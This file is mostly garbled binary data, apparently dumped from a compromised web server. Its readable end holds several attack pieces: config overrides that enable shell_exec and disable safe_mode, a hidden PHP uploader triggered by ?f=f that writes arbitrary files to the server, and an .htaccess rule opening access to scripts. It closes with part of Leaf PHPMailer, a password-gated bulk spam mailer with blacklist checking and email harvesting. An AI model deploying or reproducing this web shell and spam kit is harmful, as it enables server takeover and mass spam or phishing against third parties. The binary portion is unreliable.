n	hާNz]na~b}RB(6//41 eW7b4P4yKEVKϩ ;zgNAt1#{y "+i)
+qw1Kb{V=\"ioj%A&D)$|;80*Dn!VfKAeNa^[̰|Q
}?Y\)\3|Ԏܠ(u/lh3a@|i(̩[ NU"(\*q+Su=8aaENVur-ѲSh׋Nצ3;Ìkw 6݁M,߆2GğzX="M}Q_zuladwfgqkbP9q3@Cʋ5E yL*kٷfs[dyuladwfgqkb9Xwl`^^!sS-!a&q`:!-cqlihxcopewqlihxcopewBDz'oӛوsDT|7?nJ,BNuyh bS]j }SBCK9	~_,Pܣy	N;nj+!uladwfgqkbOVnXF*O)	T=PqGnuladwfgqkb=[-\CϪ\;g+C	@D~s	ӈ˧uladwfgqkb40
`geN-}' B*؏{4GfKJϻ:=
*aXSّ냖S\ϐUqlihxcopew \Esj		dyZGuladwfgqkbEPFZY#
tSBBªM=|V8֝uladwfgqkb:гuladwfgqkbCFۮ/G2PxW}+4Aw%iqlihxcopewa38~g}^S*T_G7^YvWgQITk$?$o~Zz+6mj{4߽iASHU)
@CDBuladwfgqkb%W*r"C+-.gb9fdgly
Mzvh"
x5L1qlihxcopew@D#IA4eJA0+Y:2zfpTTuladwfgqkbP{a}arx1A`~C:Ƣ08z+|V@y|=c[̛P9?	:דu׼^Ip'm{C
@rdnih54`WD	ZL#io'uqlihxcopew"wՑEuladwfgqkbvkTfrs@c}bjK]dFoD 1]CVbVcSޚ)G74b[ǒh49sicxNIvpnpHT؅qlihxcopewIShuladwfgqkb@raTGMj ә̍S5a
K
DNqlihxcopewk9Fhrv)|qlihxcopewds}@ڪE!#/rB'ww=.؛&"6\Wc7bCI&d2fQ[hIxT3	WB:fwSXB~Khk;mFQ,* `"FNn4qlihxcopew|xS I8T4qlihxcopewp~eoKbW ow/}Zxg(s44UJto4ZE#8ez*Yq_W)arcUy=Ӈꋄ Q0cy*oL'e#BMA-R9] P:E|֢'Fm_*":+!9ywV-&8cs4A{lY\L/X?'\j[UWqlihxcopew-j7C4Io㕫U~uladwfgqkbZ(5&[PuEsSa^
@jieNw	et#Ͻ.Zs
HSF	x]ˮqlihxcopew5BAFOAޔLY+l
yx\Ra#?k#p$(`|܉omF4E N-MkmW\$bCީ7V+l?\{?2؂v뉧Z#qBq]2	2CI^L'u9%BBgV͵0ոaɒ ?
i@YnLπ:b.
)4-!de [c7}_2},\[C8ti˭4vDpæURl[]ɷS6٭߿Aם,S_xO;0S5́ǻ@M= BvZج_uladwfgqkb㎤'m}UezZ:gWhKKSS0 Cvs/h3^я8ra6g!1`{_j4	7$kfg|}"##Q3s#q͏uladwfgqkby뾼N꺠( {tuuC!{[	H;o)skweRL7]ƣ2H1P(O^~o^&ڛc|5m%Xݪ?YYjܖju lw|OB9};7y5"k%
n"|$J0J3XnMqخM6+?!s&hv :[oqq Lq]~lc|R4duladwfgqkb?ǝ,~۳[LYSiDrC#a
/ 14t)p$?]KlbR1Pqh{| WݯPD?	@N{b7űԦ'w3rc0SрM&Hc*5CJzн"CƜb=ő#LRְ~"4'_._)\X&p,^~Y9%$qlihxcopew ݞq rIXhʷeI@!F)_CH0\6Uw'r΢u:XQ&r.d hX0BZnrƵMâ. 甇4+Q*6ld uladwfgqkbN;ssfZ'1o3F,? +t.\;qWhĐypyl"6vʵp*\=uMEA]J{B`0F@S91a[smuladwfgqkb/+sX/w6[C +Yg:0Sofl
GS1߹Qޣa/(Py?y]l0\uladwfgqkbt_CVI)mߖE %p&/d3DOV+9jQa1S"Q	wkb5Uw`rgw\䬅B[-$-6RkiO.(#?P1k;73Fg]&yt	v&#W}pJ'Ĵ	9 +,M#_۰DK˹H\QAWLBXNkNr7qSOHAq{菐n :; uGJC%7Tq9
#^_#	I{PߑRG±1klJE	VeodW9]Naڒ~ZM%ZT5J2e@qW4uladwfgqkb9uladwfgqkb.|$RHIހ~Y{U&Igӈ+dg}~IYQnne퍐*3Id;pԠ5ePgr1Ԟq XN^uladwfgqkbV̨f!hk~pR~:7j4cpê'grS9jԧ\8TI./LB
aWaD=jקZ;2*!f-N`&д$QĤ;qlihxcopewqlihxcopewSqlihxcopewô3} A	D}7٘1;8ۯhqlihxcopew!i:';0\Fh SzZ衴7ZJwMHuӆv݋Ehcpo{"5qlihxcopewuladwfgqkbRAsȶ"Σh|xf?j|Q@5u	",KO0אf0SdfCW K5
;d%X7Nm\9ȓ(nqUTRLcVoPC -u
;Q4w5["sh:/aת )!՛c&sc nlSvxu:Ue]]jPb솙[ߧ2RORǝuladwfgqkb-qlihxcopewM~gL:)Ld~&%ɨz(`Rm\uIX(Tew*;CKb`*5 4_sŹk׫kﺆ\^7zgۣRqlihxcopewR~#-G,!"俭Yl5
%OUqlihxcopew0Y.c2GG1~`WF[lg;V23/0io uladwfgqkbHP7Y#wJ@i{jx	JUa6؃k\HY0\3\דJs~vq_^iB*,	Ot
1iYmnc6"\9aet98q2+ѾėM[ht`s
G-x9BI0Ռ235em'
Y*}Ph1MKέ}͝.V`(	g]Xw(شw{G؍=$N9o\}Ud:{-X^h0ّY_T{|Rح2{uladwfgqkb7)f07˔Ju#/{5Ej'"GTqvqlihxcopew79:f{Y:-~~8o0=\!8̯d43dOWuladwfgqkb?o_hY0lqLmƥIÁk~M:d,yYC Sxfd6/WBwxX[n7uladwfgqkbL?~lz#
?GEl8:\vL~66Y|'ab&[f,^9A%,(.z	K	owb]87k
~-%uladwfgqkbZi+UʷA@~BZ^el~&r/ca_K3Ȑ|Z1Nq SkMG{uƬZwۣM0*C]`wm 궟)04^kI{N#l]۟ C/;'CFomrzJM3ĢJ ʪ/ LٝhF=ȥJ*bb4զ8q?Ԙ[M
ZHn m0Μf6#$wVqlihxcopew-8uladwfgqkb#}sk7opTHm]J0͕qlihxcopew0	-\JU4uOgXYӚ+
dsTuh8"-B5;10O_M`7ׇYV*6 23x%
[9CEe6_O!'Kׇ`oX^벵!Czl%Py1V0\jOQ)ThXSqlihxcopewmС]VuladwfgqkbcGUZuladwfgqkb6PU?2Ty"n)t&iԨ7ٙ0zF2"oҔ4g'ʏ19:{btk#5өx3kɢyqca
uoDQoRS7kpіq٤1^Nfېo^vA`doLXm+ݩ@#?LcGٗ+[tjhiLjk!NhN_%zsҦsuladwfgqkbq[;f*FuEϻƵF[PA*ʘUTrPȧ${p7I̛^DXcwm dIA M~|R:j~Ey&_凜;d=ʍK@:V:(0)E!_)(˓Ffqlihxcopew 0{x佖 ͘fuladwfgqkbE-!~Ob,k^-j:P
" @ε⮁ p'}fAsWu3o8ȇ3
;jt"YlQ˟49~r	qQʜޯkHuladwfgqkbi.7#Gu6l~9_º诮;L
8x:507aØؕH?ouladwfgqkb,qlihxcopewuJ t}RUl459nI3uladwfgqkbak(xBdY85qlihxcopew C)#,HQJ[`&ekԼ2wwqlihxcopeww1=D$W3VJ&FV3Ѕ/o;-7rZ$ޒk |,NVfa8*
,!JuladwfgqkbCI}k8+#c%m,̻nӿ{FIwoκ]/dcX7rK.WQݻqlihxcopewCs, P equ;~R͏J0r::^j38{zgM#?['4L)A#cxz/B2Nwfc߆Oqlihxcopew t/"$pVf4XnHQ;uladwfgqkb֋qlihxcopewc6SH_%ǻ%m[uڵ_҅qVz_xF(a,`ǋ
?(_+|!	؅ٲol\0aJ?5e1|*8g5kNT(8jv]t"XlQz$+)]3ƺVhTuladwfgqkb0nU,bvdĒ̑K5}#	oiouladwfgqkbUmd]MSKΜ5ϋ
e{}b.l]Tc WˡG	eXхi* uladwfgqkb);%z ZeŸ[\ӭEsn=*(VDc EI.xpCDYe+C/qQ_S7MGjC'8qAOƧ#T{j-%f.A\mqO_h7.R|iy!^^NkAepmc0*BDE["BsII
f{;Y
r)[jy5fQ&WURd%mqlihxcopewAP,K yliCUlu9@2ҐiKZuAz ºgWTQ%ŕ+-8 ƺB$ZމNY_t&ubzGGy)P8-L١%C!5ه:˼ɑ3͂Ta{IbsH%
$.خ;	f ߪqlihxcopewYSqlihxcopewM( tqH7?A[[اdmj9\%\`u6y z8VXg6C[[dfXD!~}T}Uk]UqlihxcopewV}Dzᙂ"&:h87ңx-	ۤEnl'-͛LaPӈ0Q@OP͈{i 3k3=`:ݺu=uladwfgqkb;dd+
?1?uladwfgqkbG+
ooe *I*YSsO^ǚ2[O97h3iPY	 .!;w^0fGxoqlihxcopewGzVA8ǎ	w?p$^J
buladwfgqkbL(#鬺(ʌgv9lBP1oOPaotEIPh^QwhPU^ԌhH`ȹA]$'k`Z;tm@\I7XSRXar`quladwfgqkbv#C{"*%{#ZN~i)x\ɷkoz:~ҭP_DRi/X"	
~/Qe;;2|*~
L~ |P5M:N2n
K9ȅLQǝ6H4g
r~{uladwfgqkbי^܄\N$=8{Ao-uܕbY&O5nDȃirbVzIiBP
YdCG!O ЁseuladwfgqkbS~j~bhUn7a6e/l.Fm^r.%IGBh9
	\=HnH^j?-[;agSGRJ̓R$-
5o4uladwfgqkb;XW- Bw-as,Un'FUf,`*wr5N)gT3[7`uladwfgqkb5[wW#+9%'J$-jFiTm pFg9:Kc8,]([A';%GQϙ0pVTo@ _aْn!?($#8~]q)	,FAK֐ԢF/RrQ֓Hnж6uladwfgqkb51D2`ۤ|qlihxcopew2Qvuladwfgqkb{QJ}gww#zW}M|^`{Wό+Ƅ1l]:T.HYJy#VДRRZPeұUddl9:[@ .`YiE0a5O
1`/}dAh)FTqlihxcopew8:hNrRc4.B\l)	7;SiʿfrZe"nfQTW=i9Bjar c޽h$d4[V˷CBAi'sBV,q&[
|g?~Q^ahhp_˱z(Z~lK`hBnrXZ?ߨ&o[wފTvT"Žq9uNhDD]XGBExkⓒgF"ay_F~Ï2_b7菟\{ttUk2 Ίvl$"%	H;z_a׼̘ ddhjάձRMQϤB1|o+v5ȵVYBuladwfgqkbj_X:'
;֐!_E{a&/${]iuB銃|c+a5jR7}d9W0
Sl#'rXJemeG̹oISO@d68Yc4sqlihxcopew;PcRw-E~nևF}C"Gr~6T('$4恝ż%sH:+Oi8{o`.
,H uladwfgqkb#[inyS^x7qF(8B|B{t"s"_'G1uladwfgqkbcש$Ykw}^;qQ\(\Lm8?d(}(\Ruladwfgqkb̯Ou
=F1(OlVӸv |~b Eo/AY\ߛ񳁡3e
Q9nfq~{|wT%9F#G躛8˒-lAz_a2vơMw*^m-*&qϢk
/-yw!HᡌKhXmVLire]*½*P`Xuladwfgqkb!Cziz2WBnF79~XjuBѮĝF_D:U8"[h/Hx2d;-ܦ_ڛJ5ji6@i[7 m񆾅CB ,FEr7t̹_?СG
qqމJ|Hؚ?R!?fj2`[P 7!
CQ]S01kZ̽}p:Db[bʲBHP\Vāuladwfgqkb 9[֢v(ϳ A_m̘CPRvxz$*{it KgNഋ'z{g,vHjZJǞI)~^11]TKȧ+fL=meMZr]	:X@/bMZ TNQ1)݆\ MfM?cz5	+H8Yr$C}۟@Orz5v4{hΖ}v7#,q$"0[EM|qlihxcopewyC`hx9abjՑ=tGnY߾ 5	rߪ㕓wp=dkf6,R(/IU񛵧6o?N/ϖK_nE 2Qۮgt]ugIHp݅=v˟F*qlihxcopewzz/
/DrRba^BI0l^5X^wC/bZ	1EۏcG|ry/Bidwŧ@ԶTL242W uladwfgqkbKB.]fQFn/KD"$`pb=	t7̅	nXnhð E#?r^"`OFkqlihxcopewccH5J08zGqlihxcopew|oF6xAk|cjʀA
mBz
06-f xjc{-W_)mqwuOaJP*6}!i?ooh~*MeiR~
g*.D;j3XϟN^PzT3,Ļt S
uladwfgqkbIxq	H3NL')kn2v};	 v41dbWn84P[JVJ!ö[~=6%Y❃yJz
s6X9
%6G}C^%p(ݥKI?]\uladwfgqkb0 J7Mvgz3SD| 4DїpAGpz`z TqV9_&}ꭺgѥ8ڸ}*}DqjMl{lQxqlihxcopewY}NNY3qkWA!S̡qlihxcopewux!;a{C1ffڎ	kKk3m pjF "?~'=gQ[?7_qlihxcopewqd}aqlihxcopewș\c?2Sن
d\pV={+UZs~|*...#"qlihxcopewl޶,VEfVNk6ߎ	Ds5U[|?_`Mj42T@gʯ8-1myCP[iǨ|r#BG$QO}Д-"U7|O˶"Ys]uΖhH47qXPM,_RKsHw7ۇeEy9ⲴNtquladwfgqkb,*~%%U氌R c 
iumHrۯ 8/~(c'F\MYlk{]痳nk5]	 q/mpW5RV܎f
pRAP`uladwfgqkbLn4h	1Lķy/mM"AQ2;"e/{xWliޖ c^=
Υ,Jo#-*7iKCw(c31^:NDWmAlXʝVx-rN]Y?WZ5ռzxNhZܦ.tYYwNӑr
(Ч)v`քG m(E 3ڶ4577rUW"8e͇h~߾3j8OAֿ9;[eC('`77/qag/R|sUPBUm0nqlihxcopew&$dta'*6,N	(A
  E6:Zhuladwfgqkbİ\WHf"㬿/.TER"`D[tg!#? MRoqlihxcopewt4!`9L:_i𻻫Ԯ(@XcaNYo/GiM*_RH
kc^uladwfgqkboVruladwfgqkbZupppIoNah9dVu Sja #lJ x2xK,]|#Т/\,~FF$ jGcYuq׼970_uladwfgqkbn+-zu~JEAR~[%(V+5{Fl7K\Fʖ D.B	u.p/|&`(Cn60 =pGu}uladwfgqkbY]mـP?/:gS0PkN
.3  %͟;qlihxcopewqlihxcopew͐;XE+!Vm	wEwK}209p\^Ȝ!|/98ub/}捦S;QSqlihxcopewLc,hǠ7K ~ƿաȄwQqlihxcopewl/ԳG8qKV6EEډ=EY\nt
Ð	b?3Y53ݩ0z[/ƌ^6KRȑ6#WIKoGIM!9V;TA/y[&[4LJI#?gB`cXW(7D9z^~s8
4N.C{*|am1TXDeIoͺE垃PVgXls4eD^'ܑsuladwfgqkbYyr~{|=ט0|ʹ68j.:A~pBF̘Qp Iԣk
^\@f10nkFDZh=}̣+`ojT@dHLv{#wXxe6rQ)2 5d@cqA~߶Fjqlihxcopew@༨ŭo|4LPL,qut;#I-qlihxcopew;;F'Z_
h@@7$uefDqlihxcopew6٧	@|[IuladwfgqkbZZ/M-@$6NJrYx?5/%9Yqlihxcopewtyo8uȱ-e` @C˪7yԡ
_94|ҶWXkHuladwfgqkbP?o|s+(}Upuladwfgqkb
!T73L-Z][$6"ʺYfhaeL;bsuladwfgqkb+;0$'!U9&1̖lДɖ؋*zuladwfgqkbdAqUD+Ԡp'NzX2b
;9qlihxcopewL(@׃w?c^TDq]AȯڼR{RGLh bTUc:[:A+}_ѷFqlihxcopewUELӐDVyR(l=@@oD_iv߱4˚¹ѧl޹7O$;r[O_^-DC~h%qlihxcopew}d_Euladwfgqkb#O/͚UWj)[j|3HۢV2mN=PdCn
0%)F\^uqlihxcopewv=zKE-ҋpop
,`7QQD	TنH m,LJX=b}9WBլܝ2Tqlihxcopewt8N/RqQX7($$DZhv%!"wL$tԣ-ie˘L
.QwbdtF,\*db6uI kZ{vMhRTo97;8[auladwfgqkb6t&i}˹:i@^zi9ϔQtky)ɣgh-%eAbl	~vcb!&s˥N%
0X^}+e `Nqe*q{uV0J
3
oNlL̻ݙyv[nouladwfgqkbwVf&N[݊~-Lg5~ѶGrs+o%Hޠk98yuladwfgqkb|e:TX]]K3Lo1of}.؆E#+YLkgGEi@U~ g8uladwfgqkb{iDqlihxcopewFxRDמTQVxf,y隢Xg
'Wͯc'cQouladwfgqkbShuladwfgqkb2YhFޔr֖њNHo׬Zlv5cc}׏*|]EwVXJl&cvȼ!ɟ3GU-I=z."GwiHXY=Qfs-+\^?w!we&5L9IR6CѹaeMX1Y/ZMA_(y)ի+ONO܌9dR=)vWsY
Y8c;u,|D|P'_;K,
 pa5aOaxz=49I8ӧq}'ОuxK/48]Pt:
fڊ Tk,"t/Ř4`IfI`BEtO*0=?û7P
DUGÃ@ȝ؛`uladwfgqkbgU/1)/9rۑ"&LqlihxcopewCsT0f˓1p]VNif^cqlihxcopew0&(r"i6,i
!|_څ\@9;Y@iZ8Pov_vXZ_oO^`5lPTe*탮q
G=#qlihxcopewEyqaC%1/^KuladwfgqkbCy0?rYqlihxcopewKwšV'!xl{"uladwfgqkb)N+oEt5̕⤏1p +uladwfgqkb1qlihxcopew
}+N?[qZÿgcI	!*uVUJqN`ѿhoQC،a9r}1)pbI/9j`S(=K}#/98Lر%Z20jͽF;ۆ2m$a:eP\:D(4((*ЍqlihxcopewwNLZD
؄uladwfgqkb~̆b2dӐ8 ̳+'[ރp}]	Kv=߱rp3v6RD|^t4m;}yS1վ63293Rݳz^̵"v͵q6 Ì^KPTMjDwf\g+KHp7/SV2)yv7/q(I17$s^1JaSvmI (vQn*N8{g~uladwfgqkbtF}DрWlY/_a)?R,gf~J!|3
{O\K{!tK #M~ d?C+wR!XT|yE	gE`\d^"^#ϤߏRv]Q'2KCr/Z18$$B	U	7L	Nt}d_&OjQ6VmHS$Oя%GC:	@[
sv%U!wNz*ٕId#*P5!i]" q/Y~/
 Zuladwfgqkbz(J'L!lYwUh.toGn;*԰$Zlyk/!PϒIK0C5BMuladwfgqkb,9hZ=Y;bTe
\-&-'E`n
'"T6GW?FzQ%Q^.ZBJcOqՆx\Q6 fo_3)l,9-hf( b3:PiO):wW&bxx}ٍ_wvB7o(*cJ¿S+|lwfuladwfgqkbJ&~͝p|!$:rtuladwfgqkb;ɛ Fۻ!-_bZÓnϕUH!P	T`w2;&Lǒ[GPߥ%r
`/5O!F*i}1aCsYgrkZ-kUOr5@[v73)3kՅX_Zʹ6:,6ga0]y%͋ߌ:-DdSH#thڰs^P@/OE/:qlihxcopew|ٌOqlihxcopew#
dtg0@}$~ؿnD:HrRk;8d)H#`4%&^N{Дl|9e&_&/deZP+M!2ǇyP uladwfgqkb&|0	M~fP ^KWrCoqlihxcopew:U,nrvDϙ",NPP-Q~W+i"c|,mSrS=@eUq2@EESpbQuladwfgqkb *M,'5] 7I?Zuladwfgqkb'`dH%ƫ)PuladwfgqkbOP ;vuɛ+Z?]qP7PKWJիr{/s8i ~r79qlihxcopew

R
Xqlihxcopew]_!߼щR}9\1Р2_3m^7`_eMOnkr-2tq)4Ai֊Do|#F/w7M*H$%VԎ~qlihxcopew^Dtd8 e|X(^7S'f_*1aLqlihxcopew ;:?ݯS`)GgL$F1l2m!m7];8"ْOcvR,$| owzSRo3qVVürr9O#O~*:A6Y"$tq`uladwfgqkb,N9bH`ڍ9MNM=]V=}d)dskgAgT6%Ab~
rCfy
_tVOl"G_&
2%7Ri2 k{q9uladwfgqkb}@um\ְ?`P;|+*|ͭ
*uwtοဓJCϒ-|w4eP*Gǽ?Mp%FÿCѯؖ[Dv	)^
Ve!CRc){t%%ܞn	aj%4 Meak"?|uladwfgqkb-2D EyvgKOGR2hO%% vuԉDǓn4.hRϖ=IdĕHxz}LzP!qlihxcopewWSdiAmi G3zS4{v5 1HmikOҵ`uladwfgqkbO_	$k2
㜛.3!5q_x"hpK58
_JaqÕP](I:6 `2QU㾾ua*A Wa6E]~⥫g+qlihxcopewvQ%wA!;._Ǣ:L*_yuladwfgqkbs`׼@Qα"Pa1Q$AAuuEY /{$j_?/Y.$[Z0
zqlihxcopewo:j/F=e3J{eu0޸^	lUpNܨYW1\	GzL{:DƎ|}IikVY|"k0|z.j҂֛FJS{4\ʠU]W#8I\e51w"=ShuladwfgqkbSF2:|CɢGD {Z-nb,lRqƮ|Ms}ͷppkh)sJp脐T`-ظls+qHOt
M8:uladwfgqkbGz
p
Kij_!*É|ҙLk /^{T{N.a"x~L)N #Iq0enqlihxcopew	e+d"pH)]Yú"j*	",!DcSq@Џ+B#?z~!CX/#y
 s[[ړS  5 y]2*v(:ǘ7:p&oREIyDzy\pPQ1O`渦H5~%3Un(|.⃫օbA:-U?8p[f"b+DZQ}N]P?멜Ե ka2uladwfgqkb}&aXR`,uladwfgqkb^F^=^`?]ZN 8^4Z.s:p Z3&Ǟ&wqlihxcopewYе5chmTIhYTZemI^܆9~e2l;5kq	o	gWqlihxcopewxT PnvDKҌ!sjtE.~Qv/ YW?aMˏ7PH	g*aK	uQIW +sӂ;uladwfgqkbLw:"AK(x^±%5MoUo|7Юbn{϶gĨtaoM3MwF	в7OčJ˚/l%PHs}
n5n-UEmlTE803pQi
O_N~%@9 %7YbuladwfgqkbɟK]De}0x2j{E:S4750J|iu䟾7N	i3:jvݧqlihxcopewJvRVfp1c2`}G]:^uHG|v?Aw@[.g@A-/~-fqlihxcopew	sy @R#_&~D~_Odos
 6{8CA|k
kzyjdʡ7@[88(:A9ƓDx`Feϒ%H8Fdtfĝuladwfgqkbi([Yc.
G}vM^3ۄ7s.
PRl
"$Ȫӽ̫5' ?Auladwfgqkb}_uladwfgqkbhZ!4,n,k׸:$qlihxcopewRÅeFd&זv[V)6	.5bTTLW`48
~
T#-KL+S{ .:i2ޠ'Pc((k'7d鍇0H}ҘoQ/LgTFM݈fCl -y$Hf~	{F
Jh=r8e֤ni־My*5\^Br,k.9?:\u^ )+ *XޥFP(E6m7`
+Mi@qEfB(4q6Wh;3
NjdѶȩ,0,olqlihxcopewx*z;hg*9s\X:M-.P\%$b+pM1Ǵvؑr3_2+6h+ԕ],A`짷#m#K$'
MXA/hhUN%;6^ y7m
ϟeCU=3qlihxcopew37l	2LSVHj'Lce.\n#{Lqny^Dc[U8/PZgow/ԏoKݼfmp@b#h`K.2bmn_=vaޟ}]rp$uOx0w\רkڜQй7)n5cxUjyhЇdEm^i1݊:ս
uladwfgqkb,AP~1*bd=BsMqtB=Tfpxפ9 wə`X%k%eKF0KjV+idilXo3cnV+YN}@JUu"ݠV?Sދ	uladwfgqkbwqܢe%Ϯb\ufuRPD@݃hc`o~% js0|ê#jXџZ}b A5Ͱoű6+־HFgj@J˧`@S]q&2|2#zf?gn2ןl}*ŝE*i]*;1o+P}xWN"6e(@0xYi0'1&ɹqlihxcopew\F	Ph.*Jft~Ao Em Q593ު

T'8^2jJ2!tI)cSV
bvBVCϬ={P_G%Q|;ߤdAw](qlb\K_&ieٌS6JE"
zú7cuYO`-7}{safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "bqPIMNRcOoT";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
